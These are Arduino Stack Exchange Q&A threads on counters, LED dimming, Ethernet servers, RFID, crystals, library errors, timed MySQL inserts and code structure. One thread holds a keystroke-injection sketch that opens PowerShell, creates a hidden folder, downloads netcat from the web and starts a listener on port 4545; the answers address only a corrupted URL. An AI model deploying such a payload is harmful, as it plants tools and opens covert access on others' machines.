text:
While doesn't the loop terminate?
I have a have project of Up Down counter using Arduino with seven segments, in which when I continuously press the push button, the counter moves upward from 0 to 99. When I release the push button, the counter moves downwards from the previous value.
For example: I continuously press the button counter from 0 to 58, then when I release the button, the counter moves backward from 58 to 0.
The problem is that when I simulate the code in Proteus software, the counter starts from 99 because the button is not pressed. But when I press the button the counter moves upward not accurately.
Also the other big issue is that when the button is released, the counter does not move backwards although the counter moves upwards continuously and the button is not working (whether the button is pressed or not).
Here my code and Proteus simulator circuit image.
int num_array_1[10][7] =
  { { 1,1,1,1,1,1,0 }, // 0
  { 0,1,1,0,0,0,0 }, // 1
  { 1,1,0,1,1,0,1 }, // 2
  { 1,1,1,1,0,0,1 }, // 3
  { 0,1,1,0,0,1,1 }, // 4
  { 1,0,1,1,0,1,1 }, // 5
  { 1,0,1,1,1,1,1 }, // 6
  { 1,1,1,0,0,0,0 }, // 7
  { 1,1,1,1,1,1,1 }, // 8
  { 1,1,1,0,0,1,1 }}; // 9
int num_array_2[10][7] =
  { { 1,1,1,1,1,1,0 }, // 0
  { 0,1,1,0,0,0,0 }, // 1
  { 1,1,0,1,1,0,1 }, // 2
  { 1,1,1,1,0,0,1 }, // 3
  { 0,1,1,0,0,1,1 }, // 4
  { 1,0,1,1,0,1,1 }, // 5
  { 1,0,1,1,1,1,1 }, // 6
  { 1,1,1,0,0,0,0 }, // 7
  { 1,1,1,1,1,1,1 }, // 8
  { 1,1,1,0,0,1,1 }}; // 9

const int button = 35;
const int alarm = 50;

//function header
void Num_Write_1(int);
void Num_Write_2(int);

void setup() {
  // set pin modes for Display 1
  pinMode(22, OUTPUT);
  pinMode(23, OUTPUT);
  pinMode(24, OUTPUT);
  pinMode(25, OUTPUT);
  pinMode(26, OUTPUT);
  pinMode(27, OUTPUT);
  pinMode(28, OUTPUT);
  // set pin modes for Display 2
  pinMode(40, OUTPUT);
  pinMode(41, OUTPUT);
  pinMode(42, OUTPUT);
  pinMode(43, OUTPUT);
  pinMode(44, OUTPUT);
  pinMode(45, OUTPUT);
  pinMode(46, OUTPUT);
  // set pin for alarm indication
  pinMode(alarm,OUTPUT);
  // set pin for button input
  pinMode(button,INPUT);
  int i = 1;
  int j = 1;
  int counter_1 = 0; // for counter 1
  int counter_2 = 0; // for counter 2
}

void loop() {
  int counter_1; // for counter 1
  int counter_2; // for counter 2
  int button_state = digitalRead(button);
  // check the button state
  //counter loop
  if (button_state == HIGH) {
    // if button is pressed , counter moves Upward(0,1,2,3,....,99)
    boolean start = true;
    while (start) {
      // when button pressed , loop is continuously running
      if (counter_1 == 10) {
        // if counter 1 is value 10
        counter_1 = 0; // reset counter1 to 0
        counter_2 = counter_2 + 1; // counter2 is starting now
        Num_Write_1(counter_1); // display value of counter1
        Num_Write_2(counter_2); // display value of counter2
        button_state = digitalRead(button); // check the button state
        if (button_state == LOW) {
          // if low then condition of while is false
          // button is released, button_state is low
          start = !start; // toggle the while condition true to false
          // which terminate the while loop
        }
      } else {
        counter_1 = counter_1 + 1; // incr. 1 by 1
        Num_Write_1(counter_1); // display value of counter1
        delay(200);
      }
      button_state = digitalRead(button);
      // again check the button state
      // button is released, button_state is low
      while (button_state == LOW) {
        // if low then condition of while is false
        start = !start;
      }
    }
  } else {
    //if button is release , counter moves Downward(56,55,54,...,0)
    Num_Write_1(counter_1); // show previous values on both counters
    Num_Write_2(counter_2); // b/c decr. starts from incremented values
    boolean start = true;
    while (start) {
      // when button release , loop is continuously running
      if (counter_1 == 0) {
        //if counter 1 is value 0
        counter_1 = 9; // reset counter1 to 9
        counter_2 = counter_2 - 1; // counter2 is starting now
        Num_Write_1(counter_1); // display on counter1
        Num_Write_2(counter_2); // display on counter2
        button_state = digitalRead(button); // check the button state
        if (button_state == HIGH) {
          // if high then condition of while is false
          // button is pressed, button_state is high
          start = !start; //toggle the condition
        }
      } else {
        counter_1 = counter_1 - 1; // decr. 1 by 1
        Num_Write_1(counter_1); // display on counter1
        delay(200);
      }
      button_state = digitalRead(button); // again check the button_state
      // if button pressed , button_state goes high
      if (button_state == HIGH) {
        start = !start;
        // toggle the while condition true to false
        // which terminate the while loop
      }
    }
  }
}
// this functions writes values to the sev seg pins for counter1
void Num_Write_1(int number) {
  int pin= 22;
  for (int j=0; j < 7; j++) {
    digitalWrite(pin, num_array_1[number][j]);
    pin++;
  }
}
// this functions writes values to the sev seg pins for counter2
void Num_Write_2(int number) {
  int pin= 40;
  for (int j=0; j < 7; j++) {
    digitalWrite(pin, num_array_2[number][j]);
    pin++;
  }
}

If button pressed ----------> logic goes HIGH
If button release ----------> logic goes LOW
Please resolve my problem. I have tried for 2 weeks solving this problem but still I'm stuck. Any little advice will be important for me.

Your next question should deal with managing switch bouncing.  You may get away without such extra code.  But you may also get some unexpected results.

I'd throw that code away and start over from scratch; it's overly verbose and needlessly repetitious, which may account for the kinds of errors you are seeing.
A few notes:
• The contents of num_array_1 look identical to those of num_array_2.  Ordinarily there is no need to have two copies of the same constant array, so get rid of one or the other.
• It doesn't make sense to use four different lengthy sections of code that do about the same trivial things, incrementing or decrementing a counter, displaying its value, and then doing some kind of switch check.  Instead, use one section of code that handles all the cases.  See example 1 below.
• In three of those four different sections of code just referred to, in effect you say
if (button_state == LOW) { start = !start; } and in one of them, you say
while (button_state == LOW) { start = !start; }.  That statement loops forever if encountered when button_state is LOW.
• int counter_1 and int counter_2 declared in setup() are not the same variables as the ones of the same name declared in loop().  If you want them to be the same, declare them at global scope before setup(), and don't declare them within either of setup() or loop().
•  As declared in loop(), counter_1 and _2 are automatic local variables, uninitialized and technically of undefined value.  See discussion in an answer to “local variable initialized to zero in C”  on stackoverflow.
• It doesn't make sense to use two different display-a-digit functions that do about the same thing.  Instead, use one function to handle both cases.  See example 2 below.
• You can save 126 bytes each of RAM and Flash by storing the ones and zeroes of num_array_1 or _2 packed into bytes.  See example 3 below.

Example 1:  First, declare int dir, which will be 1 when counting up, and -1 when counting down.  To change direction, say dir = -dir;.  To step the count, say:
count += dir;
if (dir<0)  dir = 0;
if (dir>99) dir = 99;
showDigit(count/10, 40); // Hi digit ports are 40...46
showDigit(count%10, 22); // Lo digit ports are 22...28

After stepping the counter and showing its digits, you can do your check some kind of switch thing, once in one place instead of spread out in four different places.  Note, you could (and should) create symbolic constants that stand for 40 and 22, via an enum like the following, and then use the symbols instead of hardcoded numbers in the showDigit() calls.
enum { hiDigitAt=40, loDigitAt=22};
...
showDigit(count/10, hiDigitAt);
showDigit(count%10, loDigitAt);

Example 2:  Your Num_Write_1() and _2 functions are identical except that one says int pin= 22; and the other int pin= 40;.  To combine them, you can add a parameter specifying the starting pin number:
void showDigit(byte value, byte basePin) {
  for (byte j=0; j < 7; ++j) {
    digitalWrite(basePin+j, num_array_1[value][j]);
}

Example 3:  Instead of using 14 bytes of RAM and 14 bytes of Flash for each entry in your digit-segments-pattern arrays, you can pack the seven ones and zeroes that represent one digit into a single byte.  For example, { 0,1,1,0,0,0,0 }, // 1 converts to 0b0110000, // 1.  Then use shifts to unpack the bits, as below.
byte digitPats[10] =
     { 0b1111110, 0b0110000, 0b1101101, 0b1111001, 0b0110011,
       0b1011011, 0b1011111, 0b1110000, 0b1111111, 0b1110011
     };
...
void showDigit(byte value, byte basePin) {
  byte pattern = digitPats[value], bitj;
  for (byte j=0; j < 7; ++j) {
    bitj = (pattern & 64)>>6;
    digitalWrite(basePin+j, bitj);
    pattern *= 2;  // Shift the pattern one bit left
}

Your counter variables only have scope within the methods they are declared in.  So initializing them in the setup() method will have no effect in other methods.
Instead, declare these variables as global or at least with "file" scope as you did with your array variables.


text:
How do I add dimming control to my following LED toggling program on Arduino? Also how do I improve my existing code?

I am attaching my code below :
int cwled=9;
int wwled=10;
int button=8;
int buttonpress;
long startTime=0;
long endTime;
long holdTime;
boolean previous = LOW;
boolean current;
int state=0;
int pot = A0;
boolean cwState = HIGH;
boolean wwState = LOW;
int brightness;
int counter = 1;
boolean pressB;

void setup(){
  pinMode(cwled,OUTPUT);
  pinMode(wwled,OUTPUT);
  pinMode(button,INPUT);
  Serial.begin(9600);

}

void loop() {
  if(state == 0){
    brightness= map(analogRead(pot),0,1023, 0, 255);
        analogWrite(cwled,brightness);
       // analogWrite(wwled,0);
        Serial.println("Initialized");
  }
  current= digitalRead(button);
  if(current == HIGH){
  pressDetection();
  state =1;
  }
}

void pressDetection(){
  pressB=digitalRead(button);
  if(pressB==HIGH && previous == LOW)
  {
    state =1;
    startTime = millis();
  }
  while(digitalRead(button) == HIGH){
    endTime = millis();
    Serial.println("Inside loop");
  }
  previous = LOW;
  holdTime = endTime - startTime;
  if(holdTime> 500){
    longPress();
  }
  else{
    shortPress();
  }

  }

void shortPress(){
  cwState = !cwState;
  wwState = !wwState;
  //brightness= map(analogRead(pot),0,1023, 0, 255);
  if(cwState == HIGH && wwState == LOW){
   brightness= map(analogRead(pot),0,1023, 0, 255);
   digitalWrite(cwled,HIGH);
   digitalWrite(wwled,LOW);
   Serial.println("cwState");
   return;
  }
  if(cwState == LOW && wwState == HIGH){
  // brightness= map(analogRead(pot),0,1023, 0, 255);
   digitalWrite(wwled,HIGH);
   digitalWrite(cwled,LOW);
   Serial.println("wwState");
   return;
  }
 /*else if(cwState == HIGH && wwState == HIGH){
   //brightness= map(analogRead(pot),0,1023, 0, 255);
   digitalWrite(cwled,HIGH);
   digitalWrite(wwled,LOW);
  }*/
}

void longPress(){

   cwState =wwState = HIGH;

   //if(cwState == HIGH && wwState == HIGH){
 //  brightness= map(analogRead(pot),0,1023, 0, 255);
   digitalWrite(wwled,HIGH);
   digitalWrite(cwled,HIGH);
  cwState = !cwState;

 //}

}

I understand there are so many variables unused, this program needs a lot of improvising.
My question is:

How do I improve this code?
How do I add dimming via pwm in this code?
And if I have to add one more type of LED or say n number of LEDs and want to toggle between them what should be the algorithm.

My aim is to use a push button to switch between different types of LEDs (in my case between warmwhite LED and coldwhite LED, if Arduino registers long press off the push button all the LEDs light up, in my case both warmwhite and coldwhite LEDs turn on, and short press of push button toggles between warmwhite and coldwhite LED. The program by default switches on coldwhite LED first and after a long press, shortpress sets default LED to high which is coldwhite.
I am not a hardcore programmer but I have more than basic knowledge of OOPS programming. I am an ECE Engineer and I believe I have slightly more than basic understanding of OOPS and procedural programming. I am aware of C++, C and JAVA only. Any advice or help would be highly appreciated.

Since you never set state back to zero, it looks like your initial stuff (under the if) might as well be in setup as it will only be done once.

I deliberately did that. initially only coldwhite LED turns ON( which can be dimmed). I can remove that part but It's purpose is to initially start the system with coldwhite LED ON.

"Improving you code" is too general of a question to ask here.  I won't do it, but, unless you rephrase your question to something more specific, someone will likely down vote your question.  (At the very least, you could add comments.) As for adding dimming, you are already using "analogwrite()".  However, I'm not sure why, you later forsake the dimming feature and use "digitalwrite()".  If you want to add LED I don't see what is stopping you.  There are only some pins on an Arduino Uno which support PWM.  Other than that you can add as many LED as you want.  Just use normal low current LEDs.

That analogWrite wasn't working properly. That is: it was not dimming in real-time, what I mean by that is suppose I switched to coldwhite Led, then when I'd change my potentiometer to set pwm to say 80 percent it'd not change the brightness , however when I'd toggle again to the warmwhite led it light up with 80% brightness and so on.
By improving I mean can I use classes for it too? I want to make my code changeable, such that if I make amendments it'd not affect the previous performance

Just want to clarify, your intention is add "dim" effect for transition?

Yes, what i want is when I push the button coldwhite LED changes to WarmWhite LED and then I should be able to control its brightness(should be able to do dimming), then when I push the button again it changes back to ColdWhite again and I should be able to control its brightness too. Now when I press and hold the button for greater than half a second both the LEDs should light up and I should be able to control their brightness. and then when I again short-press the button ColdWhite LED should come on with me being able to control the brightness again as previously.

Well thanks a lot everybody, just did some minor changes, it is now working as I wanted. I appreciate everybody's advice and time you took out to help me. Thank you all

How do you improve your code?
Firstly there is nothing disastrously wrong with you code, it could do with a polish, but who's code couldn't?
In the dim and very distant past I was told "you write code once but read it many times" so try and make your code readable and clear.

If the values aren't going to change then they should be constants or #defines.
ALWAYS initialise variables.  (Doesn't matter on an Arduino because the compiler does it for you, but its good practice).
Boolean should be true or false.
You are writing C/C++ not Java.  Opening braces { should be on a new line.  It makes the code easier to read and match up the braces.
Unless your space bar is broken, put spaces after commas and either side of equals.
Using function parameters and less global variables will make you code more reusable.  Imagine the day when you start a new project and copy and paste functions from previous projects and finish the code in 15 minutes.
One statement per line.  cwState = wwState = HIGH;.  In this case its not a problem, but you can get into states where side affects screw everything up.  Also its easier to read.
Comment the code as you go, because you'll never go back.
Explain what each function does, because you'll have forgot by
tomorrow.

I hope that helps you write better code and none of it has caused offence.

That was so helpful man. why would knowledge and/or advice cause offence. Very practical advice. yeah I was opening braces like they do it in JAVA. Thanks a lot. #define or constant thing is very helpful too. will definitely keep all these points in mind from now on.

Use parentesis around non-trivial expressions. Precedence rules can bite you.

Putting aside the long press vs. short press, alternating the pwm generation is fairly simple.

Use an adc interrupt to periodically read the pot and update a variable that holds the duty cycle.
Use an interrupt to track the button input. In the isr, use a static variable to track which pwm pulse train is running. Upon button presses, update the variable and then use it to steer pwm output.

With this structure, your loop() is entirely empty and the functionalities (reading the pot, pwm generation and output steering) is done entirely in the background.
As to the long pushes, you can use a timer to track the button hold time and it returns not just the state of the button but also long vs. short presses.

source: Stack Exchange

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/

sort: votes


text:
Why doesn't this code work?
I'm having trouble programming an Arduino Uno with this sketch, the sketch compiles and I get full serial output and an IP address, but no web browser can connect to it.
I've tried this Arduino example (https://www.arduino.cc/en/Tutorial/WebServer) and it works right out of the box, I don't understand why my code therefore doesn't work.
My code is below:
#include <SPI.h>
#include <Ethernet.h>

// Bootup millisecond counter
const unsigned long started     = millis();

// Serial settings
const int SERIAL_BAUDRATE       = 9600;

// Non-DHCP ethernet settings:
// Device MAC address: DE:AD:BE:EF:FE:ED
const byte mac[] = {
  0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED
};
IPAddress ip(
  192, 168, 1, 177
);

// Pins
const int P_RELAY               = 7;
const int P_ON_LED              = 8;
const int P_OFF_LED             = 9;
const int P_SW_MAN              = 10;

// Relay power states
const char B_RELAY_ON           = HIGH;
const char B_RELAY_OFF          = LOW;

// Relay switching state
boolean RELAY_STATE             = false;

// Network/web data
EthernetServer server(80);
String readString;
String localIp;

// Testing switches
const boolean connectToEthernet = true;
const boolean hostWebServer     = true;
const boolean useDHCP           = false;
const boolean testRelay         = false;

// Testing settings
const int testRelayDelay        = 500;

// Formats an IPAddress nicely as a string for printing
String displayAddress(IPAddress address) {
  return String(address[0]) + "." +
         String(address[1]) + "." +
         String(address[2]) + "." +
         String(address[3]);
}

void setup() {
  const unsigned long started = millis();
  delay(50); // allow some time (50 ms) after powerup and sketch start, for the Wiznet W5100 Reset IC to release and come out of reset.
  Serial.begin(SERIAL_BAUDRATE);
  Serial.println("HTTP Web Remote Power-Point Controller.");
  Serial.println();
  if (connectToEthernet) {
    Serial.println("Connecting to Ethernet...");
    if (useDHCP) {
      Ethernet.begin(mac);
      Serial.println("Obtaining IP address...");
      localIp = displayAddress(Ethernet.localIP());
    } else {
      Ethernet.begin(mac, ip);
      localIp = displayAddress(ip);
    }
    if (localIp != "0.0.0.0") {
      Serial.println("Connected. IP: " + localIp);
      if (hostWebServer) {
        Serial.println("Starting Ethernet server...");
        server.begin();
        Serial.println("Started.");
      }
    } else {
      Serial.println("Error: No address provided via DHCP.");
      Serial.println("Please check your network connection and settings, and try again.");
      while (1);
    }
  }
  Serial.println("Configuring pins...");
  pinMode(P_RELAY, OUTPUT);
  pinMode(P_ON_LED, OUTPUT);
  pinMode(P_OFF_LED, OUTPUT);
  pinMode(P_SW_MAN, INPUT_PULLUP);
  Serial.println("Pins configured.");
  Serial.println("Pin Information: \n            Relay: " + String(P_RELAY) +
                                  "\n           On LED: " + String(P_ON_LED) +
                                  "\n          Off LED: " + String(P_OFF_LED) +
                                  "\n    Manual Switch: " + String(P_SW_MAN));
  if (hostWebServer && connectToEthernet) {
    Serial.println("Remote controller interface is running at http://" + localIp + "/");
  }
  if (testRelay) {
    Serial.println("Testing relay mode enabled.");
    Serial.println("Toggling relay every " + String(testRelayDelay) + " milliseconds...");
  }
  const unsigned long starttime = (millis() - started);
  Serial.println("Startup took " + String(starttime) + " milliseconds.");
}

void loop() {
  if (testRelay) {
    delay(testRelayDelay);
    if (RELAY_STATE) {
      toggleRelay(false);
    } else {
      toggleRelay(true);
    }
  }
  if (useDHCP) {
    byte dhcpRenew = Ethernet.maintain();
    if (dhcpRenew == 1) {
      Serial.println("Dynamic DHCP lease renewal failed.");
    } else if (dhcpRenew == 2) {
      Serial.println("Dynamic DHCP lease was renewed.");
    } else if (dhcpRenew == 3) {
      Serial.println("Dynamic DHCP lease rebind failed.");
    } else if (dhcpRenew == 4) {
      Serial.println("Dynamic DHCP lease was rebound.");
    }
  }
  EthernetClient client = server.available();
  if (client) {
    Serial.println("Client connected to web server.");
    while (client.connected()) {
      if (client.available()) {
        char c = client.read();
        if (readString.length() < 100) {
          readString += c;
        }

        if (String(c) == "\n") {
          Serial.println("Data received from HTTP client: " + String(readString));

          // HTTP header
          client.println("HTTP/1.1 200 OK");
          client.println("Content-Type: text/html");
          client.println("Connection: close");
          client.println();

          // HTTP body
          if (readString.indexOf("?state") > 0) {
            if (RELAY_STATE) {
              client.print("1");
            } else {
              client.print("0");
            }
          } else {
            client.println("<!DOCTYPE HTML>");
            client.println("");
            client.println("");
            client.println("<title>Power-Point Controller</title>");
            client.println("");
            client.println("");
            client.println("
hello world
");
            client.println("");
            client.println("");
          }

          delay(10);

          client.stop();
          Serial.println("Client disconnected from web server.");

          if (readString.indexOf("?relay=1") > 0) {
            toggleRelay(true);
          } else if (readString.indexOf("?relay=0") > 0) {
            toggleRelay(false);
          }

          readString = "";
        }
      }
    }
  }
}

void toggleRelay(bool state) {
  if (state == true) {
    digitalWrite(P_OFF_LED, LOW);
    digitalWrite(P_RELAY, B_RELAY_ON);
    digitalWrite(P_ON_LED, HIGH);
    RELAY_STATE = true;
    Serial.println("Relay State: ON");
  } else if (state == false) {
    digitalWrite(P_ON_LED, LOW);
    digitalWrite(P_RELAY, B_RELAY_OFF);
    digitalWrite(P_OFF_LED, HIGH);
    RELAY_STATE = false;
    Serial.println("Relay State: OFF");
  }
}

http://stackoverflow.com/help/mcve

When you say "my code therefore doesn't work", what serial output messages did you get ? Did the server IP address answers to a ping from client side ? (useDHCP and testRelay are false, so test your source without that superfluous code).

Everything looked like it worked as expected, except it didn't. Read my comment on the accepted answer as to the reason :)

I don't understand why my code therefore doesn't work.

Without any in-depth analysis of your code I would suspect that you have simply run out of memory. It is easy to forget that the Arduino Uno is a very small machine with limited resources.
Here are some steps forward:

Check memory status (compile and run-time).
Use the F() macro to force string literals to be stored in program memory.
Reduce String class operators especially on print statements. Simply replace with multiple print statements.

Cheers!

This was part of the answer, the other part which I discovered just now was me using pin 10 for something without realising Ethernet wanted it.
Thanks a lot!

authors: Vladimir F Героям слава

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/


text:
Why does Keyboard.Print adds random values to url?
I'm trying to print a sequence of power shell commands including a url to the powershell interpreter but every time I execute it with the Arduino Micro it adds random values to the url. Here's the normal print statement.
Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
    typeKey(KEY_RETURN);

I'm passing this link https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip to a variable called $url and here is the actual output when the command executes
  cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip"); foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)

notice how the $url now has random values in them?
https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip

Also If you try copying and pasting the url I posted above on a browser, the url doesn't work. But if you go to https://eternallybored.org/misc/netcat/ and copy link location of netcat 1.11 which is the same url and paste it. The url works...
I don't understand why this is happening any thoughts?
Full code
void typeKey(int key) {

  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */

void setup() {
  //Beging Keyboard Stream
  Keyboard.begin();
  delay(500);

  Keyboard.press(KEY_LEFT_GUI);
  delay(4000);
  Keyboard.press('r');
  delay(4000);

  Keyboard.releaseAll();

  delay(1000);

  Keyboard.print("powershell");

  typeKey(KEY_RETURN);

    delay(1000);
    Keyboard.print("cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=New-Object -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\"); foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)}; cd \"$HOME\\Misc\\netcat-1.11\"; & \"$HOME\\Misc\\netcat-1.11\\nc.exe\" -lp 4545 > incoming.txt ");
    typeKey(KEY_RETURN);

    Keyboard.end();
}
    void loop() {
    }

Presumably there's a problem. But since you don't provide your code or circuit, I doubt anyone will be able to divine what it is.

the code is in the question and that's all the program does prints that line. I guess I can add the init functions. @MarkSmith

Sorry, are you saying going to https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip in a browser works?

If you go to https://eternallybored.org/misc/netcat and copy link from netcat-1.11 the link is https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip and it works if I copy link and paste but if I don't copy link and just paste that link on the browser it does not work.

You have some unicode characters in your URL. Remove them.
https://eternallybored.org/misc/netcat/netcat-win32-1.<200c><200b>11.zip
                                                      ^^^^^^^^^^^^

I'm not the owner of the website, so that means I can't download the owners links with powershell?

@Francesc You misunderstand me. In your sketch. YOUR code. You have managed to add, somehow, some extra UNICODE characters.

in my sketch the URL is https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip when I execute my sketch I get a response with this https://eternallybored.org/misc/netcat/netcat-win32-1.2a211.zip

Yes, that is exactly what I am saying. Although you may not be able to notice it here. I suggest you go to view the source of this web page and look at precisely what you have just pasted into the comment box just now. You will plainly see the extra unicode characters there. You keep copying and pasting the SAME corrupted URL. If you want to fix it then delete the URL from your code and type it in by hand. DO NOT COPY AND PASTE AGAIN, IT IS CORRUPT!


text:
How to send arduino data to php code
I'm new to arduino. I'm doing a project where I need to send a RFID UID to php code. The UID will be detected by the arduino and the rest will happen at the php side. for that I need to get this UID at oho side. I'm using RFID-RC522 and arduino mega 2560. how can I do this?
also I found couple of posts about ethernet. is it the only solution for this? if I use an ethernet shield will it block any ports which I'm using on arduino for connecting the RFID things?
thank you

Welcome to SE:Arduino.
Shields are usually designed so that the pins are still fully accessible.  The shield has a set of male connectors on the underside and female connectors (same as your Arduino) on the top side.  Just Google a pic of a shield and you will see what I mean.
Ethernet is not the only choice, there is Wi-Fi, Bluetooth, NFC, radio and probably a point to point light link.  What ever communication method you select, you would need to use HTTP POST messages to your server, so your server will have to implement a REST or SOAP interface. (There are probably other ways, but I'm not a webbie so you will need to ask them on the correct SE forum)
Once you have created your message on the Arduino you send it to your shield, probably by a function call or over a serial interface.  You'll get an OK back and all is good.
To find code that does this, just search, someone will have written and example, Adafruit and the Arduino.cc sites are good places to start.

I checked about the ethernet shield from following link https://www.arduino.cc/en/Main/ArduinoEthernetShield but there, they are mentioning that "Arduino communicates with both the W5500 and SD card using the SPI bus (through the ICSP header). This is on digital pins  50, 51, and 52 on the Mega. Pin 10 is used to select the W5500 and pin 4 for the SD card. These pins cannot be used for general I/O. On the Mega, the hardware SS pin, 53 must be kept as an output or the SPI interface won't work." But I'm using the same set of ports for the RFID.. What is the solution?

If you can use Wi-Fi, I suggest you to use ESP8266-01, it's cheap and usefull ! With this chip you can send all data to your server!

You could probably do every thing on an ESP8266-12, twice as much processing power, loads more memory.  The only real draw back is five less analog ports, but that's what I2C ADCs where invented for :)

There is a lot of WiFi and ethernet shields, most of them(if not all) will not block your RFID especially if you use Mega2560. You must have a network connection for talking with php server, so YES, you need WiFi or ethernet shield.
Hope i'll help.
Yoav


text:
Whats the function of the resistor between MCU and its Resonator in Arduino Mega?
I was looking Arduino Mega's schematic and I noticed a resistor between the MCU and its resonator. R3 in this image:

Why is it there and what is its function?

http://forum.arduino.cc/index.php?PHPSESSID=k7m3r8sckc0kmc8oda18gt0l16&topic=176297.msg1309697#msg1309697

@Gerben - This addresses R1, not R3.

Oops. Didn't even see R3. That's indeed a weird location for a resistor.

That resistor limits the drive through the crystal.  If the power applied to the crystal is too high then the slope and phase shift at the resonant frequency will not be optimal and at really high drive levels could cause mechanical damage to the crystal (like that shattered wine glass trick).
See good instruction PDF here, section 2.1.


text:
What do I do about a compiler error " variable 'font' must be const"
I am trying to run the test program from Adafruit, with their libraries, for an Arduino controlling a Nokia5110 display and get this error message:
Arduino: 1.5.8 (Linux), Board: "Arduino Pro or Pro Mini, ATmega328 (5V, 16 MHz)"

    /home/Harry/Arduino/libraries/Adafruit_GFX/glcdfont.c:9:23: error: variable 'font' must be const in order to be put into read-only section by means of '__attribute__((progmem))'
     static unsigned char  font[] PROGMEM = {
                           ^
    Error compiling.

Please can anyone explain this? I can happily give more details, but I am not yet sure how much is needed and the files are rather too long to include them all at this stage.

Include you FULL code.

Looks like this was already fixed. Are you using an old GFX library?

The error already says what you should do, and even points to were you need to add it.

The problem is you're using an old version of the Adafruit GFX Library, which was written for a previous version of the Arduino IDE. You just need to install the latest version of the library and your problem will be solved:

Download https://github.com/adafruit/Adafruit-GFX-Library/archive/master.zip
Unzip the downloaded file.
Rename the unzipped folder Adafruit_GFX
Replace /home/Harry/Arduino/libraries/Adafruit_GFX with the folder.

If you run into any other problems after doing that I recommend trying the latest version of the Arduino IDE. The version you're using is very outdated.

You can not change variables in PROGMEM memory.
Therefore the variable must be a const variable.
This way the compiler can check whether you try to change the value or not.


text:
How to insert into table in database after every 5 minutes using Real time clock module
I have RTC module attached to arduino mega,
to calculate time difference of minutes I am getting minute from the RTC module
and checking if passed time is greater than 5 minutes  then insert to MySQL table in database.
  int mint = util::getMinute();

  if (util::getMinute() - mint >= 5)

  {
    // inserting to sql database on mysql server
    INSERT_SQL = "";
    INSERT_SQL.concat("INSERT INTO arduinoSensorData.outTempLog (out_temperature) VALUES ('");
    INSERT_SQL.concat(tempInC);
    INSERT_SQL.concat("');");

    const char *mycharp = INSERT_SQL.c_str();
    delay(1000);

    if (!connected) {
      my_conn.mysql_connect(server_addr, 3306, user, password);
      connected = true;
    }
    else if (connected == true)
    {
      delay(500);
      Serial.print("Inserting : ");
      Serial.println(INSERT_SQL);
      Serial.println("Connection Successfull,inserting to database.");
      my_conn.cmd_query(mycharp);

    }
    else {
      Serial.println("Connection failed.");
    }
    mint = util::getMinute();
  }

the full code is here

Move int mint = util::getMinute(); outside the loop function. Otherwise util::getMinute() - mint will always be 0.

Just a tip, you didn't specify what RTC you're using, but most RTCs have an internal alarm functionality that will trigger an alert when a specific time of day is reached. This allows you to eliminate the polling from your code, and even sleep in between the 5 mins, which can greatly improve your power consumption.

Oh sweet I didn't knew that it's DS3231

So I figured it out myself and used millis instead.
in global declaration I did:
unsigned long sqlInsertInterval = 300000; // the repeat interval after 5 minutes

then initiate timer in setup method
  timer = millis(); // start timer

followed by below changes in the loop method.
void loop() {
  // perform sql insert after 5 minutes
  if ((millis() - timer) > sqlInsertInterval) {
    // timed out
    timer += sqlInsertInterval;// reset timer by moving it along to the next interval

    // inserting to sql database on mysql server
    INSERT_SQL = "";
    INSERT_SQL.concat("INSERT INTO arduinoSensorData.outTempLog (out_temperature) VALUES ('");
    INSERT_SQL.concat(tempInC);
    INSERT_SQL.concat("');");

    const char *mycharp = INSERT_SQL.c_str();
    if (!connected) {
      my_conn.mysql_connect(server_addr, 3306, user, password);
      connected = true;
    }
    else if (connected == true)
    {
      Serial.print("Inserting : ");
      Serial.println(INSERT_SQL);
      Serial.println("Connection Successfull,inserting to database.");
      my_conn.cmd_query(mycharp);

    }
    else {
      Serial.println("Connection failed.");
    }
  }
}

int mint = util::getMinute();

if (util::getMinute() - mint >= 5)

{

Well, if mint is util::getMinute() then surely util::getMinute() - mint will always be 0.
I think you meant mint to be static, or a variable in the global scope.

done that but I don't see database getting inserted even after making the change


text:
New tab VS OOP : which is better in Arduino
In C++, I understand that you can "multi-file" program and in Arduino, open a new tab. This is what I mean by file. Then, there is Object Oriented Programming or OOP for short (like with a .cpp and .h file.
Which of these 2 is a better method for splitting your code into multiple files? OOP seems more popular, but is also harder, but is there any real benefits for it?
I'm new to the world of OOP so please write an answer like if you would explain it to a newb! Also, I'm quite adventurous and so don't let difficulty change you anwsers bias!
For those that want to close this question as off-topic, note that SO closed it in less then 10 minutes.

Comparing both are like comparing bananas and apples. None is better than the other. Both are complementary. OOP is a real programming paradigm. Multifile is in no way a programming paradigm.

